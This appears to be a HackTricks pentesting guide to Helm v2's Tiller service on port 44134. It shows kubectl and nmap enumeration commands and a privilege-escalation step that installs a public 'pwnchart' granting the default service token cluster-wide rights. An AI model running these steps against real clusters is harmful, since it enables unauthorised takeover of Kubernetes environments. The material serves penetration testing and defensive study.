hacktricks/pentesting/44134-pentesting-tiller-helm.md

# 44134 - Pentesting Tiller (Helm)

## Basic Information

Helm is the **package manager** for Kubernetes. It allows to package YAML files and distribute them in public and private repositories. These packages are called **Helm Charts**. **Tiller** is the **service** **running** by default in the port 44134 offering the service.

**Default port:** 44134

```
PORT      STATE SERVICE VERSION
44134/tcp open  unknown
```

## Enumeration

If you can **enumerate pods and/or services** of different namespaces enumerate them and search for the ones with **"tiller" in their name**:

```bash
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
```

Examples:

```bash
kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m
```

You could also try to find this service running checking the port 44134:

```bash
sudo nmap -sS -p 44134 <IP>
```

Once you have discovered it you can communicate with it downloading the client helm application. You can use tools like `homebrew`, or look at [**the official releases page**](https://github.com/helm/helm/releases)**.** For more details, or for other options, see [the installation guide](https://v2.helm.sh/docs/using\_helm/#installing-helm).

Then, you can **enumerate the service**:

```
helm --host tiller-deploy.kube-system:44134 version
```

### Privilege Escalation

By default **Helm2** was installed in the **namespace kube-system** with **high privileges**, so if you find the service and has access to it, this could allow you to **escalate privileges**.

All you need to do is to install a package like this one: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) that will give the **default service token access to everything in the whole cluster.**

```
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
```

In [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) you have the **explanation of the attack**, but basically, if you read the files [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) and [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) inside _helm-tiller-pwn/pwnchart/templates/_ you can see how **all the privileges are being given to the default token**.